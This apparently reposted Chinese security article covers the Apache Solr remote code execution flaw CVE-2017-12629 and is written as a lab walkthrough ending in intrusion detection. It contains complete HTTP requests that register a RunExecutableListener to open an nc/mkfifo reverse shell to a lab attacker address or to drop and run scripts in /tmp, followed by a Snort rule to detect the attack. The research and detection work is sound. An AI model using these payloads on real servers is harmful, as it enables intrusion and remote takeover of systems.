solr 过滤html标签,Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测...

本文探讨了Apache Solr 7.0.1版本中的RCE漏洞,通过RunExecutableListener执行系统命令,重点介绍了两种利用方法:直接执行命令与创建shell文件间接执行。作者提供了详细步骤和环境搭建,以及入侵检测规则的编写和验证。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

*本文原创作者:cloud4986,本文属FreeBuf原创奖励计划,未经许可禁止转载

一 漏洞简介

Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

漏洞影响版本:Apache Solr before 7.1 with Apache Lucene before 7.1,包括:RedhatSingle Sign-On 7.0

+ Redhat Linux 6.2 E sparc

+ Redhat Linux 6.2 E i386

+ Redhat Linux 6.2 E alpha

+ Redhat Linux 6.2 sparc

+ Redhat Linux 6.2 i386

+ Redhat Linux 6.2 alpha

Redhat JBoss Portal Platform 6

Redhat JBoss EAP 7 0

Redhat Jboss EAP 6

Redhat JBoss Data Grid 7.0.0

Redhat Enterprise Linux 6

+ Trustix Secure Enterprise Linux 2.0

+ Trustix Secure Linux 2.2

+ Trustix Secure Linux 2.1

+ Trustix Secure Linux 2.0

Redhat Collections for Red Hat EnterpriseLinux 0

Apache Solr 6.6.1

Apache Solr 6.6

Apache Solr 6.5.1

Apache Solr 6.5

Apache Solr 6.4

Apache Solr 6.3

Apache Solr 6.2

Apache Solr 6.6

Apache Solr 6.3

Apache Solr 6.0

ApacheLucene 0

威胁级别:高

二 漏洞利用

2.1. 环境介绍

Ubuntu14 64位环境(solr服务器:192.168.136.159;攻击端: 192.168.136.158/163)

Apache solr7.0.1(使用其他环境的需要手动创建集合的配置文件)

zookeeper-3.4.6

2.2. 实验环境搭建

2.2.1. 安装java8sudo apt-get installpython-software-properties

sudo apt-get installsoftware-properties-common

sudo add-apt-repositoryppa:webupd8team/java

sudo apt-get update

sudo apt-get install oracle-java8-installer

2.2.2.  启动zookeeper

下载zookeeper-3.4.6.tar.gztar zxvf zookeeper-3.4.6.tar.gz

将zookeeper-3.4.6/conf目录下zoo_sample.cfg复制一份改名称为zoo.cfg,启动zookeeper:sudo bin/zkServer.sh start

2.2.3. 启动solr7.0.1

下载solr-7.0.1.zip

解压后得到solr-7.0.1目录cd solr-7.0.1

启动solr:bin/solr start -z localhost:2181

启动后如下:

f7092754b89fd247d557dbbf445e6d01.png

2.3. 漏洞利用

2.3.1.  先创建一个集合

556be65f64c9476abc0f39cc9d021141.png

2.3.2. 攻击端启动监听nc –l –p 4444 –vv

2.3.3.   直接通过solr.RunExecutableListener执行命令

这个利用方法是网上公开的漏洞利用过程,但实际实验中反弹shell未出现。其过程为:

1)  增加一个监听器POST/solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type:application/json

Content-Length:313

{

"create-listener": {

"event":"postCommit",

"name": "shell",

"class":"solr.RunExecutableListener",

"exe": "sh",

"dir": "/bin/",

"args": ["-c","rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.1584444 > /tmp/f"]

}

}

a0af3a02520698139173208b15ad493b.png

2) 刷新配置触发前面监听器执行命令

005f36d0bc522a4279bef3a060de0da8.png

攻击端响应状况:

f3ced810440d6de0a3c470d11f0a185f.png

被攻击端查看端口:

75767662cdda6cf1610adad4f4d7beff.png

说明服务器端已经反向连接到攻击端了,但是攻击端没有出现shell。直接执行:

sh –c "rm -f/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.1584444 > /tmp/f"命令时可正常连接,并且攻击端出现shell。此时被攻击端会弹出一个终端窗口。因此怀疑 “需要开启一个终端,并在里面执行反向连接到攻击端的命令”。

2.3.4.  通过solr.RunExecutableListener 创建shell文件执行命令

针对网上漏洞利用方法出现的问题及分析,提出了一种创建shell文件,用shell文件开启终端窗口,并在终端窗口执行反弹 shell的漏洞利用思路。其过程为:

1)  创建一个用于反向连接攻击端的脚本POST /solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type: application/json

Content-Length: 224

{

"update-listener": {

"event": "postCommit",

"name": "shell",

"class": "solr.RunExecutableListener",

"exe": "sh",

"dir": "/bin/",

"args": ["-c", "touch /tmp/test.sh;echo 'rm -f/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.1584444 > /tmp/f '>

tmp/test.sh"]

}

}

fa5439c548e59d7ef4a0f442ef0d05ce.png

执行更新配置,触发前面监听器执行创建文件的命令

1e2ccb63f95eccb3cf6a5dc8ef0e14ab.png

等一会后,被攻击的solr服务器/tmp目录会出现test.sh

f87dd3206a4c37d064fc155a3fcfc8d0.png

test.sh内容:

199ea49d35fd40a0f054bd33900619e5.png

2) 创建一个remote.sh文件

文件打开一个终端,并执行/tmp/test.sh文件POST /solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type: application/json

Content-Length: 224

{

"update-listener": {

"event": "postCommit",

"name": "shell",

"class": "solr.RunExecutableListener",

"exe": "sh",

"dir": "/bin/",

"args": ["-c", "touch /tmp/remote.sh;echo'gnome-terminal -t \"remote shell\" -x bash -c \"sh/tmp/test.sh;exec bash;\"'> /tmp/remote.sh"]

}

}

b2851d0ecf72859e59fbde7549729cca.png

执行配置更新,触发创建remote.sh的命令

7f544a66e969113d824158c4dcaacdcf.png

目标服务器/tmp目录出现的remote.sh文件内容

71acf13049cec931a88bea3754dae307.png

3)  执行remote.sh进行 RCE漏洞利用POST /solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type: application/json

Content-Length: 226

{

"update-listener": {

"event": "postCommit",

"name": "shell",

"class": "solr.RunExecutableListener",

"exe": "sh",

"dir": "/bin/",

"args": ["/tmp/remote.sh"]

}

}

10013c69fe94dcbbf51f9a052caec7b0.png

执行配置更新,触发remote.sh执行

2afb5983b77a144f426eba2f28859401.png

此时被攻击端出现shell终端窗口

73c6abe6a76b27dcd20f58c9f9a29c35.png

攻击端出现反弹shell

489685e0cddcf79fffdaf403fc154671.png

2.3.5. 漏洞攻击主要特征

1)       端口:8983, http

2)       路径是:/config HTTP/1.1

3)       载荷中必要特征是:

Content:update-listener或create-listener

Content:"event": "postCommit"(备选)

Content: "class":"solr.RunExecutableListener"

三 入侵检测规则编写

根据2.3.5的特征分析编写规则alert tcp$EXTERNAL_NET any -> $HTTP_SERVERS 8983 (msg:"Apache Solr RCE exploitattempt"; content:"/config"; distance:0; nocase;pcre:"/(update|create)-listener/i"; distance:0; nocase;content:"solr.RunExecutableListener"; distance:0; nocase;reference:url,https://www.exploit-db.com/exploits/43009/,CVE-2017-12629;classtype:web-application-attack; sid:2018000002; rev:1;)

3.1. 入侵检测效果验证

使用前面漏洞利用中wirshark截取的数据包进行回放,使用snort加载检测规则检测。

e17ebece6b93ec1a1a067e0b007b84d2.png

*本文原创作者:cloud4986,本文属FreeBuf原创奖励计划,未经许可禁止转载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值